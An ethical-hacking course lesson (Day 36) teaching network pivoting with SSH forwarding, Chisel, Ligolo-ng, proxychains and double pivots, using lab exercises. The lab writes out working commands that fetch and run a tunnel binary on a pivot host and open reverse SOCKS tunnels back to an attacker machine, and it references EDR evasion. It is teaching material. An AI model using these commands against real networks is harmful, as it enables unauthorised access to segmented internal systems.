This educational material teaches network pivoting and tunneling techniques used by red teamers to reach isolated network segments after establishing an initial foothold. The article addresses how enterprise network segmentation—intended as a security control—becomes a navigable map once an attacker gains access to a bridging host. It matters because pivoting is the standard technique for extending access from DMZ compromises to internal networks, and understanding the specific tools, their limitations, and proper deployment is critical for both offensive practitioners and defensive professionals.
- Segmented networks enable rather than prevent pivotingEnterprise networks intentionally separate systems into DMZ, production, corporate, and management segments with firewall rules controlling cross-segment communication. However, legitimate cross-segment communication—such as a web server querying an internal database—creates trusted pivot points. Once an attacker compromises a host with multiple network interfaces, they inherit that host's routing access and can bypass the firewall entirely, making network segmentation 'a map of where to go next rather than a barrier.'
- SSH port forwarding covers most single-hop scenariosSSH offers three forwarding types requiring no additional tools: local forwarding (-L) maps one port to one service for accessing individual targets like RDP or web apps; remote forwarding (-R) creates reverse callbacks through firewalls; dynamic forwarding (-D) establishes a SOCKS5 proxy on localhost:1080 for routing any tool through the pivot. Dynamic forwarding with proxychains enables full subnet enumeration and multi-target access in a single tunnel.
- Chisel tunnels over HTTP when SSH is unavailableChisel is a Go binary that creates encrypted TCP tunnels over HTTP/HTTPS, solving scenarios where port 22 is blocked or only web shell access exists. The reverse tunnel model—where the pivot host initiates outbound HTTP to the attacker's server—is effective because port 80/443 is rarely blocked. Running 'chisel server -p 8080 --reverse' on Kali and '/tmp/chisel client KALI_IP:8080 R:socks' on the pivot establishes a SOCKS5 proxy indistinguishable from normal web traffic.
- Ligolo-ng provides native routing without SOCKS5 limitationsLigolo-ng creates a TUN network interface on the attack machine and adds a kernel route to the internal subnet, making the internal network appear directly connected. Unlike proxychains which only handles TCP and requires tool wrappers, Ligolo-ng supports all scan types including SYN scans (-sS), UDP traffic, and browsers without any tool modification. This eliminates proxychains' performance overhead and incompatibility with tools lacking SOCKS5 support, making it the professional choice for sustained internal access.
- Proxychains requires specific scan syntax and has limitationsProxychains routes TCP tools through a SOCKS5 proxy but cannot relay raw IP packets. This means Nmap through proxychains must use '-sT' (TCP connect scan) and '-Pn' (skip ping), as SYN scans (-sS) send crafted raw packets that SOCKS5 cannot encapsulate. The article demonstrates that 'proxychains nmap -sS -p 445 192.168.1.20' returns no results, while 'proxychains nmap -sT -p 445 192.168.1.20' succeeds on the same target.
- Double pivots chain hosts across three network segmentsA double pivot reaches isolated segments by routing through two compromised hosts. The architecture flows: Kali → Pivot Host 1 (reaches Segment B via Chisel SOCKS5:1080) → Pivot Host 2 (has interface in Segment C) → Target in Segment C. Implementation uses nested Chisel servers on each pivot with proxychains dynamic_chain configuration listing both SOCKS5 entries sequentially, allowing tools to automatically route traffic through both hops.
- Network reconnaissance maps pivoting opportunities before tool deploymentThe first action after foothold is mapping network interfaces with 'ip addr' and checking routing tables with 'ip route' to identify which segments the compromised host can reach. This reconnaissance determines what pivot points exist and what tunneling technique to deploy—for example, discovering eth0 is internet-facing and eth1 is on an isolated internal network immediately identifies the pivot opportunity without running any tunneling tools.
- Tool selection depends on detection risk and sustained access needsThe article argues through practical exercise that tool choice reflects engagement duration and capability requirements. Chisel is deployed rapidly when only a web shell exists, requiring minimal setup. Ligolo-ng is chosen for sustained 3+ hour assessments because it provides native SYN scans, UDP support, and browser integration without performance degradation—the article notes the author switched from troubleshooting proxychains for 20 minutes to deploying Ligolo-ng's equivalent setup in 8 minutes on a real engagement.
Bottom line: Network pivoting is the standard technique for extending access from DMZ footholds to isolated internal segments, and success depends on selecting the right tool for each situation: SSH for quick single-service access, Chisel when SSH is blocked, and Ligolo-ng for professional sustained access with full tool compatibility. Understanding how each tool routes traffic—SSH with SOCKS5 limitations, Chisel over HTTP, Ligolo-ng as transparent network routing—is essential for both designing multi-hop ch
Part of the Free Ethical Hacking Course — 100 Days
Network segmentation is a valid control against external attackers — but once an attacker has an internal foothold, the segmentation becomes a map of where to go next rather than a barrier. Day 36 gives you the full toolkit: SSH tunnels for quick single-service access, Chisel for HTTP-based tunneling through restrictive firewalls, Ligolo-ng for transparent network routing without proxychains limitations, and SOCKS5 to route any tool through any pivot. These are the techniques that C2 operators deploy after the initial beacon from Day 35 to reach isolated network segments.
What is your current pivoting experience level?
🎯 What You’ll Master in Day 36
⏱️ Day 36 · 3 exercises · Think Like Hacker + TryHackMe + Kali Lab
✅ Prerequisites
- Day 35 — C2 Frameworks
— SMB C2 relay chains from Day 35 connect directly to today’s pivot techniques; the agent relay model is pivoting at the C2 layer
- Day 34 — Payload Obfuscation
— Chisel and Ligolo-ng agents are binaries transferred to pivot hosts; EDR evasion from Day 34 applies to delivery
- Day 23 — Active Directory Basics
— the internal hosts you pivot to are AD-joined; knowing what to look for prioritises your targets
- Kali Linux with two VMs on an isolated host-only network for Exercise 3
📋 Pivoting & Tunneling Day 36 — Contents
Yesterday in Day 35 you set up a C2 framework and maintained persistent access through a beacon callback loop. Today’s techniques extend that access through the network — reaching hosts your beacon cannot contact directly because they sit in a separate segment with no internet access. Pivoting is the bridge between initial access and full internal network compromise in the 100-day course. The tools here are what every professional red teamer runs in the first hour after establishing a foothold inside a segmented enterprise.
- Pivoting uses a compromised host to reach network segments your attack machine cannot reach directly.
- SSH gives you local (-L), remote (-R) and dynamic SOCKS (-D) forwarding whenever you have credentials.
- Chisel tunnels over HTTP when SSH is not available; Ligolo-ng routes traffic transparently without proxychains.
- Proxychains sends normal tools through a SOCKS tunnel, and a double pivot chains two hosts to reach isolated segments.
The Segmented Network Problem — Why Pivoting Exists
Enterprise networks are not flat. A mature organisation separates systems into segments: a DMZ for internet-facing services, a production network for application servers, a corporate network for workstations, a management network for infrastructure. Firewall rules control what can communicate with what. The theory: compromising one segment does not give access to the others.
The problem is that some hosts legitimately need to communicate across segment boundaries. A web server in the DMZ queries a database in the production network. A jump box sits at the intersection of multiple segments for administrator access. These trusted hosts are your pivot points — they already have the network access you need, and once you are on them, you inherit their routing.
The first thing I do after establishing a foothold is map the network interfaces. Every additional interface beyond the one you entered through is a connection to another segment. That mapping tells you exactly where to pivot before you run a single tunneling tool.
⏱️ 20 minutes · No tools needed
Professional pivot planning happens before you deploy a single binary. Map the network, choose the right technique for each hop, and anticipate what defenders see in their logs. Work through this scenario the same way I approach a segmented enterprise before touching any tunneling tool.
IPs: 10.10.10.5 (internet-facing) and 192.168.1.50 (internal LAN).
The internal LAN has an HR server at 192.168.1.20 — no internet access.
The DMZ host runs SSH on port 22. No Chisel or Ligolo installed yet.
Your Kali machine at 10.10.10.100 cannot reach 192.168.1.x directly.
QUESTION 1 — You want to run a single curl against the HR server
web app on port 80. Write the exact SSH command from Kali.
What does it do and what would you hit with curl?
QUESTION 2 — You want to run proxychains Nmap against the entire
192.168.1.0/24 subnet. Which SSH forwarding type do you use?
Write the exact command. What proxychains4.conf change is needed?
QUESTION 3 — The security team adds a firewall rule: port 22 from
the DMZ host to internet is now blocked. SSH reverse tunnels fail.
What tool do you deploy next? Write both the Kali and pivot host
commands to re-establish access over a different protocol.
QUESTION 4 — The IT team patches SSH and monitors HTTP.
Describe what the traffic from Question 3 looks like in their
firewall logs. Is it encrypted? What port does it use?
QUESTION 5 — You gain a foothold on 192.168.1.20 (HR server).
It has a second interface: 10.20.0.15 pointing to a finance segment.
You want to reach the finance domain controller at 10.20.0.5 from Kali.
Describe the double pivot chain at a high level — two sentences.
📸 Draw your pivot chain diagram and share in your notes.
SSH Port Forwarding — Local, Remote, and Dynamic
SSH port forwarding is the first pivoting technique because it requires nothing beyond SSH access — no extra binaries, no uploaded tools, no exotic protocols. Three types cover almost every single-hop scenario. Local for accessing one internal service. Remote for punching callbacks through firewalls. Dynamic for a full SOCKS5 proxy to an entire subnet.
Chisel — HTTP Tunneling When SSH is Not Available
SSH requires SSH access. When all you have is a web shell, a Meterpreter session, or a pivot host where port 22 is blocked outbound, Chisel fills the gap. Chisel is a Go binary that creates an encrypted TCP tunnel over HTTP/HTTPS. The reverse tunnel model is what makes it useful: the pivot host initiates an outbound HTTP connection to your Kali server — a port almost never blocked — establishing a reverse SOCKS5 tunnel back through the firewall.
Ligolo-ng — Transparent Routing Without Proxychains
Proxychains works but has real limitations. Tools that do not support SOCKS5 — many compiled binaries — simply cannot use it. Standard ping and ICMP-based tools fail entirely. UDP traffic is not forwarded. And there is performance overhead from the SOCKS5 wrapper that slows high-volume scans considerably. Ligolo-ng solves all of these.
Ligolo-ng creates a TUN network interface on your attack machine. You add a route for the internal subnet through that interface. The kernel routes traffic natively — no wrapper, no compatibility issues, all scan types including SYN scans work. Every tool treats the internal network as if it were directly connected to your Kali machine. This is the professional choice for sustained internal access on any real engagement.
SOCKS5 Proxychains — Routing Tools Through Your Tunnel
Whether your tunnel is SSH dynamic, Chisel, or Ligolo-ng in SOCKS mode, proxychains routes individual tools. One configuration line. One command prefix. Two things to remember: proxychains only handles TCP — SYN scans and UDP tools will not work. And proxychains adds overhead — for large subnet scans, Ligolo-ng is faster and supports all scan types.
Double Pivot — Reaching Isolated Segments
A double pivot chains two compromised hosts to reach a segment neither your machine nor your first pivot can access directly. The architecture: your Kali reaches Segment B through Pivot Host 1. Pivot Host 2 is in Segment B and also has an interface in Segment C. You tunnel through Host 1 to Host 2 and then through Host 2 to the target in Segment C. The Chisel nested approach is the cleanest implementation.
⏱️ 25 minutes · TryHackMe free account
TryHackMe’s Wreath network is the best free multi-segment pivoting lab available — a three-machine network requiring you to apply exactly the SSH and Chisel techniques from today. Work through the pivoting tasks in order before building your own Kali lab in Exercise 3.
Read the network overview — note which machines are directly
reachable from your TryHackMe machine and which require a pivot.
Step 2: Complete the SSH local port forward task.
Write down the exact command. What internal service did it expose?
Web app? RDP? What did you find once connected?
Step 3: Complete the Chisel reverse tunnel task.
Record: server command on attack machine,
client command on the pivot host,
proxychains4.conf entry used.
Step 4: Run proxychains Nmap against the internal segment.
Record: how many hosts found, which ports were open.
Which finding was highest priority for next-step exploitation?
Step 5: Compare the tools you used. Answer these questions:
— Why does proxychains nmap require -sT and -Pn?
— What would Ligolo-ng change about the Nmap command?
— Which pivot technique required the fewest file transfers to the pivot?
📸 Screenshot your proxychains Nmap output against the internal segment. Share in your notes.
⏱️ 25 minutes · Kali Linux · Two VMs on isolated host-only network
This exercise runs the full setup in your own lab — Kali as the attack machine, a second Linux VM as the pivot host with a second interface on a subnet your Kali cannot reach. By the end you will have both tunnels running and a direct speed and capability comparison between proxychains and Ligolo-ng.
Kali: 192.168.56.100
Pivot VM (Ubuntu/Debian): 192.168.56.101 + second interface on 10.10.10.0/24
Confirm: Kali cannot ping 10.10.10.x directly
PART A — Chisel tunnel
KALI: chisel server -p 8080 –reverse
PIVOT: wget http://192.168.56.100:8000/chisel_linux_amd64 -O /tmp/chisel
chmod +x /tmp/chisel && /tmp/chisel client 192.168.56.100:8080 R:socks
KALI: echo “socks5 127.0.0.1 1080” >> /etc/proxychains4.conf
TEST: time proxychains nmap -sT -Pn -p 22,80 10.10.10.1
PART B — Ligolo-ng tunnel (same target, compare results)
KALI: sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
PIVOT: ./agent -connect 192.168.56.100:11601 -ignore-cert
KALI (ligolo console):
session → 1 → start
sudo ip route add 10.10.10.0/24 dev ligolo
TEST: time nmap -sS -Pn -p 22,80 10.10.10.1 (no proxychains needed)
PART C — Key comparison questions
1. What scan type did you need for proxychains Nmap vs Ligolo Nmap?
2. Which completed the scan faster?
3. Try: proxychains nmap -sS -p 22 10.10.10.1 — what happens?
4. Try: nmap -sS -p 22 10.10.10.1 via Ligolo — what happens?
5. Which tool would you choose for a sustained 3-hour internal assessment?
📸 Screenshot Ligolo-ng proxy console showing your active tunnel alongside the native SYN scan running. Share in your notes
📋 Pivoting & Tunneling — Day 36 Reference Card
✅ Day 36 Complete — Pivoting & Tunneling
SSH local, remote, and dynamic forwarding; Chisel reverse SOCKS5 over HTTP; Ligolo-ng transparent routing; proxychains tool configuration; and double pivot chains. The internal network is reachable. Day 37 covers network persistence — registry run keys, scheduled tasks, service backdoors, and WMI subscriptions that keep your access alive across reboots on the hosts you just reached.
🧠 Day 36 Check
❓ Pivoting & Tunneling FAQ
What is network pivoting in ethical hacking?
What is the difference between SSH local and dynamic port forwarding?
When should you use Chisel instead of SSH?
What is Ligolo-ng and how does it differ from proxychains?
How do you run Nmap through a SOCKS5 pivot?
What is a double pivot?
Day 35 — C2 Frameworks
Day 37 — Network Persistence
📚 Further Reading
- Day 35 — C2 Frameworks — Cobalt Strike and Sliver SMB C2 relay chains are the professional implementation of what you built manually with Chisel today — understanding both gives you the complete internal access picture.
- Day 33 — AV Evasion Basics — Chisel and Ligolo-ng agents are binaries transferred to EDR-protected pivot hosts — evasion techniques from Day 33 apply before you transfer the binary.
- Ethical Hacking Course Hub — Full 100-day overview — Day 36 pivoting sits at the centre of the internal network attack phase spanning Days 35–45.
- Chisel — GitHub Repository — Official Chisel source and documentation covering all tunnel modes including multi-hop configurations, TLS options, and Windows binary builds.
- Ligolo-ng — GitHub Repository — Official Ligolo-ng source with full wiki covering TUN setup, multi-session management, and advanced routing for enterprise multi-segment pivoting.

